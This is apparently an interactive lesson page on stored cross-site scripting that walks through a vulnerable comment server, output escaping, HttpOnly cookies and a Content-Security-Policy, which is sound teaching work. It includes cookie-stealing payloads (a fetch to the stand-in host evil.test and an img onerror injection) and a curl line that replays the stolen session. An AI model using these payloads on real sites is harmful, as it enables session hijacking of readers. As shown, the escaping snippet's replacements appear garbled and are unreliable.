← All lessons
How XSS works
Post a comment
Try
What the browser builds
comments.js
const comment = form.comment.value; // innerHTML: the browser parses it as HTMLli.innerHTML = comment; // textContent: it stays one piece of textli.textContent = comment; list.append(li);Stored XSS steals a session from everyone who reads it
Attacker
blog.test
Victim
evil.test
server.js
app.post("/comments", async (req, res) => { await db.comments.insert({ body: req.body.text }); res.redirect("/post/7");}); app.get("/post/7", async (req, res) => { const comments = await db.comments.all(); const items = comments.map((c) => `<li>${c.body}</li>`); res.send(`<ul>${items.join("")}</ul>`);});attack.js
// what runs in the victim's browserconst sid = document.cookie;fetch("https://evil.test/c?" + sid); // later, on the attacker's laptopcurl -H "Cookie: ${sid}" https://blog.test/meEscape for where it lands and the script is just text
Page HTML
What the browser builds
unsafe.js
// the value goes in exactly as typedhtml = `<p>${text}</p>`;html = `<input value="${text}">`;html = `<a href="${text}">my site</a>`;safe.js
const escapeHtml = (s) => s .replaceAll("&", "&").replaceAll("<", "<") .replaceAll(">", ">").replaceAll("\"", """) .replaceAll("'", "'"); html = `<p>${escapeHtml(text)}</p>`;html = `<input value="${escapeHtml(text)}">`; // escaping alone keeps javascript: links aliveconst ok = text.startsWith("https://") || text.startsWith("http://");const url = ok ? text : "#";html = `<a href="${escapeHtml(url)}">my site</a>`;HttpOnly and CSP catch what escaping misses
Response headers
A comment slipped through unescaped
These are backups. Escaping the output is still the real fix
server.js
res.cookie("sid", session.id, { secure: true, httpOnly: true, // hidden from document.cookie}); res.set("Content-Security-Policy", "script-src 'self'"); // no inline scriptscomment.html
<!-- the stored comment --><img src="x" onerror=" const sid = document.cookie; fetch(`https://evil.test/c?${sid}`);">Topics
Next: How CSRF works
Open lesson